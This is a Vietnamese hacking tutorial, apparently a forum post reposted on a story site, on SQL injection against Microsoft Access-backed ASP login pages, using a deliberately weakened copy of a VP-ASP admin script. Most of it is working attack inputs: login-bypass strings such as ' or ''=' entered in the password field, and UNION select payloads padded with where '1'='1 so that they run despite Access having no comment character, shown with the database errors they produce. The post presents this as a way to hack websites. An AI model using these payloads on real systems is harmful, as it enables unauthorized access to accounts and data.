Anken - Access SQL injection - Y!m: This_Love_No1

Access SQL injection

Bài này lấy từ nhiều nguồn tổng hợp lại nên chẳng bít tác giả là ai , nói tóm lại là thank all, đặc biệt là lão gamma

Một trong những câu hỏi thường gặp nhất khi các bạn đi hack website mà hệ quản trị CSDL nó xài Access là "Tại sao lúc thì dùng Union exploit được nhưng lúc thì lại là 1 cái error khó chịu tương tự thế này

Error Type:

Microsoft JET Database Engine (0x80004005)

Syntax error in FROM clause. "

bắn ra ??và liệu có thể có các nào khai thác tiếp được ko ,xin thưa rằng sở dĩ chúng ta bị như vậy chẳng qua Access ko có kí tự comment kiểu như '-' như trong MSSQL ,nếu có thì ko còn gì để nói ...mình thì chỉ có vài kinh nghiệm sơ sơ về vụ này nên viết bài này hy vọng phần nào giảI đáp thắc mắc của các ban

Do rules của HVA là ko được public các site lỗi ,nên mình đành phải tự chế biến code lại của thằng vpasp và up lên cái host tạm để test

Ok ...linktest

http://b.domaindlx.com/philips/asp/shopadmin.asp

code verify user+pass trong file shopadmin.asp là

username=request("Username")

userpassword=request("password")

if ucase(Username)<>"SUPPLIER" then

sql = "select * from tbluser where fldusername='" & username & "' and fldpassword='" & userpassword & "'"

//hì,thực tế mình đã del 2 dòng code

Trích:

username=replace(username,"'","")

userpassword=replace(userpassword,"'","")

lọc dấu nháy đơn nên hiện giờ nó đã bị bypass,và cũng xin nói sâu hơn chút về by pass tại cái form này

nếu bạn insert

Trích:

username:' or ''='

password:anything

thì ko được,nhưng nếu các bạn bypass như thế này

Trích:

username:anything

password:' or ''='

thì lạI ok ,tạI sao vậy ??nguyên nhân do nếu bạn by pass theo kiểu trường hợp 1 thì đọan query get từ form sẽ là

Trích:

sql = "select * from tbluser where fldusername='' or ''='' and fldpassword='anything'

do thứ tự ưu tiên của phép tóan nên phép tóan and sẽ được ưu tiên trước phép or vì thế

thì vế ''='' and fldpassword='anything' sẽ được thực thi trước và có chân trị là false

(do ''='' true but fldpassword='anything' false à qua phép and sẽ là false ) sau đó được or với query còn lại là

fldusername='' or false là false (do cái fldusername='' là false nên or 2 vế false ra false )

-->ko bypass được

còn trường hợp 2

Trích:

sql = "select * from tbluser where fldusername='anything' and fldpassword='' or ''=''

do thứ tự ưu tiên của phép tóan phép tóan and sẽ được ưu tiên trước phép or vì thế

vế fldusername='anything' and fldpassword='' sẽ thực thi trước và sẽ có giá trị false (do fldusername='anything' là false và fldpassword='' cũng false nốt,nhưng sau đó nó lại được or ''='' (''='' luôn đúng ) nên chân trị nguyên query này là true --> by pass

...phù vì thế trước giờ các bác đi by pass tòan là

Trích:

username :' or ''='

password :' or ''='

cho chắc cú phảI ko nhể ??..hehe ,những cái em nói trên cho các bác hiểu sâu sâu về by pass chút thôi

Thôi,nãy giờ lan man wá,ko đi vào chủ đề chính

ok...bi giờ các bác inject nháy đơn để xem lạI chính xác nó có bị sql ij hay ko ,sau khi ij và submit thì nó ra cái này

Error Type:

Trích:

Microsoft JET Database Engine (0x80040E14)

Syntax error in string in query expression 'fldusername=''' and fldpassword='''.

/asp/shopadmin.asp, line 34

Ok,trường hợp là các form login thì chúng ta rất dễ biết được tên column do error bắn ra (các trường hợp khác trên URL thì thường là ọc ra những column ko mong đơi chút nào )

Ok,giả sử chúng ta biết là table chứa 2 column fldusername,fldpassword là tbluser,okay,union xem sao

Trích:

Username :' union select 1,1...1 from tbluser

Password :anything

Và nó ọc ra cái này đây

Trích:

Error Type:

Microsoft JET Database Engine (0x80004005)

Syntax error in FROM clause.

/asp/shopadmin.asp, line 34

TạI sao vậy ?câu query get được từ form là

sql = "select * from tbluser where fldusername='' union select 1,1.. from tbluser' and fldpassword='anything'

bạn để ý ngay sau tbluser của query Union sẽ bị thừa 1 cái dấu nháy đơn do code chuẩn nó thêm vào nên câu query thật là vô nghĩa ,họặc nếu có thêm 'and 1=2 union select ...đi chăng nữa thì cũng vô nghĩa nên nó mớI bắn ra cái thông báo

Trích:

Syntax error in FROM clause.

Ok...vậy thì chúng ta sẽ khắc phục như sau

Username :' union select 1 from tbluser where '1'='1

Password:anything

Mục đích thêm cái where '1'='1 như vậy để cái dấu nháy của query tự động thêm nốt dấu nháy còn lạI vào where '1'='1' --> hòan tòan hợp lý phảI ko nào ??

Và query lúc này như sau:

Trích:

sql = "select * from tbluser where fldusername='' union select 1 from tbluser where '1'='1' and fldpassword='anything'

hì,1 cái error quen thuộc bắn ra

Trích:

Microsoft JET Database Engine (0x80040E14)

The number of columns in the two selected tables or queries of a union query do not match.

Phần còn lại rất dễ,chắc các bác biết hết rồi nên ko nói ở đây

Xong ...nhưng chỉ là xong khi chúng ta khắc phục điều này khi exploit SQL ij trên các form login mà thôi ,còn trên các URL thì sao ,có gì khác so với exploit trên form ?? hẹn các bạn bài sau trong thờI gian tới

MọI Feedback xin post lên 4rum,xin đừng PM,mail v..v

Netsky(VNISS)

Bạn đang đọc truyện trên: AzTruyen.Top